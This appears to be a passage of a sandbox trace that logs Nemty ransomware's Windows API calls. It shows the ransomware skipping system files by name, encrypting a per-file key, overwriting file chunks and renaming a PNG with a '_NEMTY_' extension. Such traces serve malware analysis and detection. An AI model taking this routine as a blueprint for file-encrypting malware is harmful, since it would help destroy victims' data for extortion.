lstrcmpiW (lpString1="(120DPI)notConnectedStateIcon.png", lpString2="$RECYCLE.BIN") returned 1 [0152.084] lstrcmpiW (lpString1="(120DPI)notConnectedStateIcon.png", lpString2="rsa") returned -1 [0152.084] lstrcmpiW (lpString1="(120DPI)notConnectedStateIcon.png", lpString2="NTDETECT.COM") returned -1 [0152.084] lstrcmpiW (lpString1="(120DPI)notConnectedStateIcon.png", lpString2="ntldr") returned -1 [0152.084] lstrcmpiW (lpString1="(120DPI)notConnectedStateIcon.png", lpString2="MSDOS.SYS") returned -1 [0152.084] lstrcmpiW (lpString1="(120DPI)notConnectedStateIcon.png", lpString2="IO.SYS") returned -1 [0152.084] lstrcmpiW (lpString1="(120DPI)notConnectedStateIcon.png", lpString2="boot.ini") returned -1 [0152.084] lstrcmpiW (lpString1="(120DPI)notConnectedStateIcon.png", lpString2="boot.ini") returned -1 [0152.084] lstrcmpiW (lpString1="(120DPI)notConnectedStateIcon.png", lpString2="AUTOEXEC.BAT") returned -1 [0152.084] lstrcmpiW (lpString1="(120DPI)notConnectedStateIcon.png", lpString2="ntuser.dat") returned -1 [0152.084] lstrcmpiW (lpString1="(120DPI)notConnectedStateIcon.png", lpString2="desktop.ini") returned -1 [0152.084] lstrcmpiW (lpString1="(120DPI)notConnectedStateIcon.png", lpString2="CONFIG.SYS") returned -1 [0152.084] lstrcmpiW (lpString1="(120DPI)notConnectedStateIcon.png", lpString2="RECYCLER") returned -1 [0152.084] lstrcmpiW (lpString1="(120DPI)notConnectedStateIcon.png", lpString2="BOOTSECT.BAK") returned -1 [0152.084] lstrcmpiW (lpString1="(120DPI)notConnectedStateIcon.png", lpString2="bootmgr") returned -1 [0152.084] lstrcmpiW (lpString1="(120DPI)notConnectedStateIcon.png", lpString2="programdata") returned -1 [0152.084] lstrcmpiW (lpString1="(120DPI)notConnectedStateIcon.png", lpString2="appdata") returned -1 [0152.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0152.084] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)notConnectedStateIcon.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0152.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0152.084] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)notConnectedStateIcon.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(120DPI)notConnectedStateIcon.png", lpUsedDefaultChar=0x0) returned 33 [0152.084] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0152.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0152.084] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)notConnectedStateIcon.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0152.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0152.085] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)notConnectedStateIcon.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(120DPI)notConnectedStateIcon.png", lpUsedDefaultChar=0x0) returned 33 [0152.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0152.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0152.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0152.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0152.085] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)notConnectedStateIcon.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0152.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0152.085] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)notConnectedStateIcon.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(120DPI)notConnectedStateIcon.png", lpUsedDefaultChar=0x0) returned 33 [0152.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0152.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0152.085] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)notConnectedStateIcon.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0152.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0152.085] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)notConnectedStateIcon.png", cchWideChar=33, lpMultiByteStr=0x6345640, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(120DPI)notConnectedStateIcon.png", lpUsedDefaultChar=0x0) returned 33 [0152.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0152.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63401a8 [0152.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0152.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63400d0 [0152.085] Sleep (dwMilliseconds=0x5) [0152.098] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xe4de2f0, dwHighDateTime=0x1d561e8)) [0152.098] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xe4de2f0, dwHighDateTime=0x1d561e8)) [0152.098] GetLastError () returned 0x5 [0152.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0152.098] GetLastError () returned 0x5 [0152.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0152.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0152.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0152.098] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0152.098] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0152.098] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0152.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340280 [0152.098] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340280, pcchString=0x653e5dc | out: pszString="W5gkiFVsupPLhnGhmNFm4W8644Nc6xaJ+q9fSTYzU9r3ou7n4v+RgebDI3rkq8fh\r\n5JqfEPvYP+Q5rYt2fhhlFn15Z20kJsO7chF/oj9WxAjE4q69CEee7RfFK3esbUa9\r\nPbGYNsSr0a+hq+1fD+JkMmYDeURjeNO/ixfXXh4P24Gs2HtmqgtYH+yJJudH8x+C\r\nKG0ca37fF07MhKpw3+Wq0KmcbnpyJQY3FX6CMoITVu0iovvr/s+vBh1zUsXMWrei\r\nQ5vAh5E9ZIFGIhAzL+/aeTvW3y4zMWERhMNsndIlO41d+yQs2j/RdZpriYdanfYe\r\nyzQ7muzQGhhIDhz3K31/qA==\r\n", pcchString=0x653e5dc) returned 1 [0152.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0152.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0152.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0152.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0152.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340280 [0152.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0152.098] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\(120DPI)notConnectedStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi\\(120dpi)notconnectedstateicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.099] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0152.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0152.099] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.099] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.108] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.109] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.109] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.109] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.118] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.118] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.118] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.118] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.127] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.127] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.127] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.127] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.136] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.136] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.136] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.136] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.146] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.146] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.146] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.146] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.155] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.155] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.155] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.155] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.164] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.164] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.165] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.165] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.174] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.174] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.174] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.174] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.186] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.186] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.186] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.186] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.195] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.195] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.195] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.196] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.201] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.202] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.202] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.202] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.208] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.208] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.208] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.208] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340280, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0152.208] CloseHandle (hObject=0xffffffff) returned 0 [0152.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63403f0 [0152.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0152.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0152.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0152.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0152.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0152.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x63404c8 [0152.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x6343fe8 [0152.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c8 | out: hHeap=0x4f90000) returned 1 [0152.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0152.208] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\(120DPI)notConnectedStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi\\(120dpi)notconnectedstateicon.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\(120DPI)notConnectedStateIcon.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi\\(120dpi)notconnectedstateicon.png._nemty_kgobjgd_")) returned 0 [0152.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0152.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0152.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0152.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0152.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0152.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0152.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0152.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0152.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0152.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0152.209] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ba1175, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86ba1175, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x371c5a25, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2a8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="(120DPI)redStateIcon.png", cAlternateFileName="")) returned 1 [0152.209] lstrcmpiW (lpString1="(120DPI)redStateIcon.png", lpString2=".") returned -1 [0152.209] lstrcmpiW (lpString1="(120DPI)redStateIcon.png", lpString2="..") returned -1 [0152.209] lstrcmpiW (lpString1="(120DPI)redStateIcon.png", lpString2="...") returned -1 [0152.209] lstrcmpiW (lpString1="(120DPI)redStateIcon.png", lpString2="windows") returned -1 [0152.209] lstrcmpiW (lpString1="(120DPI)redStateIcon.png", lpString2="$RECYCLE.BIN") returned 1 [0152.209] lstrcmpiW (lpString1="(120DPI)redStateIcon.png", lpString2="rsa") returned -1 [0152.209] lstrcmpiW (lpString1="(120DPI)redStateIcon.png", lpString2="NTDETECT.COM") returned -1 [0152.209] lstrcmpiW (lpString1="(120DPI)redStateIcon.png", lpString2="ntldr") returned -1 [0152.209] lstrcmpiW (lpString1="(120DPI)redStateIcon.png", lpString2="MSDOS.SYS") returned -1 [0152.209] lstrcmpiW (lpString1="(120DPI)redStateIcon.png", lpString2="IO.SYS") returned -1 [0152.209] lstrcmpiW (lpString1="(120DPI)redStateIcon.png", lpString2="boot.ini") returned -1 [0152.209] lstrcmpiW (lpString1="(120DPI)redStateIcon.png", lpString2="boot.ini") returned -1 [0152.209] lstrcmpiW (lpString1="(120DPI)redStateIcon.png", lpString2="AUTOEXEC.BAT") returned -1 [0152.209] lstrcmpiW (lpString1="(120DPI)redStateIcon.png", lpString2="ntuser.dat") returned -1 [0152.209] lstrcmpiW (lpString1="(120DPI)redStateIcon.png", lpString2="desktop.ini") returned -1 [0152.209] lstrcmpiW (lpString1="(120DPI)redStateIcon.png", lpString2="CONFIG.SYS") returned -1 [0152.209] lstrcmpiW (lpString1="(120DPI)redStateIcon.png", lpString2="RECYCLER") returned -1 [0152.209] lstrcmpiW (lpString1="(120DPI)redStateIcon.png", lpString2="BOOTSECT.BAK") returned -1 [0152.209] lstrcmpiW (lpString1="(120DPI)redStateIcon.png", lpString2="bootmgr") returned -1 [0152.209] lstrcmpiW (lpString1="(120DPI)redStateIcon.png", lpString2="programdata") returned -1 [0152.209] lstrcmpiW (lpString1="(120DPI)redStateIcon.png", lpString2="appdata") returned -1 [0152.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0152.209] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)redStateIcon.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0152.209] RtlAllocateHeap (HeapHandle=0x4f90000, 